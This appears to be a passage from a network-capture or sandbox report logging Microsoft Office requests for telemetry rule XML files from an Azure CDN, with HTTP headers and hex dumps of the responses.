2024-11-17 09:07:29 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:29 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: cd078e55-e01e-0020-52a2-37de90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090729Z-164f84587bfghdt4hC1DFWu5nn00000003u000000000c7wn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:29 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49826	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:29 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:29 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:29 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 55235507-801e-0015-17af-36f97f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090729Z-16547b76f7f7zzl8hC1DFWmtag00000002yg0000000081wy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:29 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49830	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:29 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:29 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 21ae6e2f-801e-008f-20af-362c5d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090729Z-16547b76f7fxqj4khC1DFWpypw00000001h0000000000xvn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.6	49829	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:29 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:29 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1604fc63-801e-0047-0dc4-377265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090729Z-1866b5c5fbb2t6txhC1DFWa2qc000000044g000000003dn6 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.6	49833	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:30 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:30 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c22da945-001e-00ad-15a1-36554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090730Z-16547b76f7ftnm6xhC1DFW9c8c00000003n000000000cnmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49832	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:30 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:30 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 99c36cd7-201e-0096-7ccd-37ace6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090730Z-16547b76f7f5b5tthC1DFWuk8400000002r000000000636f x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.6	49831	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:30 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:30 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: ebe65da0-001e-0014-21b1-375151000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090730Z-164f84587bf6h2bxhC1DFWbcm800000004a0000000004gmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.6	49834	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:30 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:30 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 9c6f226a-f01e-003f-6009-37d19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090730Z-1866b5c5fbbb286shC1DFWx97800000000g0000000003nq1 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.6	49835	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:30 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:30 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:30 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: 398e56de-301e-001f-6c81-37aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090730Z-164f84587bf28gjzhC1DFW35kg00000003xg00000000e7cr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:30 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.6	49838	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:31 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:31 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: 969097d6-001e-0046-4dc6-37da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090731Z-16547b76f7f64d6whC1DFWf9vn00000002mg00000000atad x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:31 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.6	49839	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:31 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:31 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:31 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: fa116fd5-501e-0064-65a6-371f54000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090731Z-1866b5c5fbb2cz68hC1DFW9ytc000000037g0000000007de x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:31 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.6	49840	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-17 09:07:31 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-17 09:07:31 UTC	515	IN	HTTP/1.1 200 OK Date: Sun, 17 Nov 2024 09:07:31 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: 25df3dc6-101e-000b-2cf8-365e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241117T090731Z-164f84587bfdl84ghC1DFWbbhc00000004ag000000002ysn x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-17 09:07:31 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 